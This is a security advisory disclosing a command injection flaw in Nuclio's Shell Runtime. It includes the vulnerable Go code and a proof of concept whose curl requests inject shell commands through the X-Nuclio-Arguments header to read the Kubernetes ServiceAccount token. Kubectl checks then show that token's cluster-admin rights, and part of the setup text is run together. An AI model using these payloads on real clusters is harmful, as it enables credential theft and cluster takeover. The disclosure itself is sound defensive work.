GHSA-95fj-3w7g-4r27 Nuclio Shell Runtime Command Injection Leading to Privilege Escalation

• Go github.com/nuclio/nuclio: < 1.15.20 → fixed in 1.15.20

Summary This vulnerability exists in Nuclio's Shell Runtime component, allowing attackers with function invocation permissions to inject malicious commands via HTTP request headers, execute arbitrary code with root privileges in function containers, steal ServiceAccount Tokens with cluster-admin level permissions, and ultimately achieve complete control over the entire Kubernetes cluster. Recommended CWE classification: CWE-78 (OS Command Injection). Nuclio Shell Runtime processes the `X-Nuclio-Arguments` HTTP header without validation or escaping, directly concatenating user input into shell commands executed via `sh -c`. This allows arbitrary command injection, enabling attackers to read sensitive files (including ServiceAccount tokens) and access the Kubernetes API with cluster-level privileges. Details Vulnerability Description The Nuclio Shell Runtime component contains a critical command injection vulnerability in how it processes user-supplied arguments. When a function is invoked via HTTP, the runtime reads the `X-Nuclio-Arguments` header and directly incorporates its value into shell commands without any validation or sanitization. Root Cause Analysis Vulnerable Code Location 1: `pkg/processor/runtime/shell/runtime.go:289-297` ```go func (s *shell) getCommandArguments(event nuclio.Event) []string { arguments := event.GetHeaderString(headers.Arguments) if arguments == "" { arguments = s.configuration.Arguments } return strings.Split(arguments, " ") // No validation performed } ``` The function retrieves the `X-Nuclio-Arguments` header value and splits it by spaces without any validation. Shell metacharacters like `;`, `|`, `&&`, backticks, and `$()` are not filtered or escaped. Vulnerable Code Location 2: `pkg/processor/runtime/shell/runtime.go:204-213` ```go if s.commandInPath { // if the command is an executable, run it as a command with sh -c. cmd = exec.CommandContext(context, "sh", "-c", strings.Join(command, " ")) } else { // if the command is a shell script run it with sh(without -c). cmd = exec.CommandContext(context, "sh", command...) } cmd.Stdin = strings.NewReader(string(event.GetBody())) ``` The runtime joins the command array (which includes user-controlled arguments) into a single string and executes it using `sh -c`. This execution mode interprets shell metacharacters, enabling command injection. Attack Flow 1. Attacker sends HTTP request to Nuclio function with malicious `X-Nuclio-Arguments` header 2. Runtime extracts header value without validation 3. Malicious payload is concatenated into shell command 4. Command is executed via `sh -c` with root privileges 5. Attacker executes arbitrary commands (e.g., reading ServiceAccount token) 6. Attacker uses stolen token to access Kubernetes API with cluster-admin privileges PoC Environment Setup Prerequisites: • Docker installed • kubectl installed • Helm 3.x installed • 8GB RAM minimum Step 1: Create Kubernetes Cluster ```bash Install Kind curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64 chmod +x ./kind sudo mv ./kind /usr/local/bin/kind Create cluster with registry configuration cat > kind-config.yaml > /etc/containerd/config.toml echo.sh " kubectl auth can-i --list --token="$TOKEN" ``` Expected Output: ``` Resources Non-Resource URLs Resource Names Verbs *.* [] [] [*] [*] [] [*] ``` This confirms the token has cluster-admin level permissions. Test 4: Verify Cluster Access ```bash Test reading secrets kubectl auth can-i get secrets --all-namespaces --token="$TOKEN" Output: yes Test creating pods kubectl auth can-i create pods --all-namespaces --token="$TOKEN" Output: yes ``` Alternative Injection Methods Backtick Injection: ```bash curl -s -X POST \ -H "Content-Type: text/plain" \ -H 'x-nuclio-arguments: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`' \ -d "test" \ http://nuclio-shell-func:8080 ``` $() Syntax Injection: ```bash curl -s -X POST \ -H "Content-Type: text/plain" \ -H 'x-nuclio-arguments: $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)' \ -d "test" \ http://nuclio-shell-func:8080 ``` Both methods successfully extract the token. Impact Severity Assessment This vulnerability enables complete cluster compromise through a multi-stage attack: Stage 1: Command Injection • Attacker injects malicious commands via HTTP header • Commands execute with root privileges in function container • No authentication or authorization checks on command content Stage 2: Credential Theft • Attacker reads ServiceAccount token from mounted secret • Token belongs to `system:serviceaccount:nuclio:default` • Token has cluster-admin level permissions Stage 3: Privilege Escalation • Attacker uses stolen token to authenticate to Kubernetes API • Gains full control over …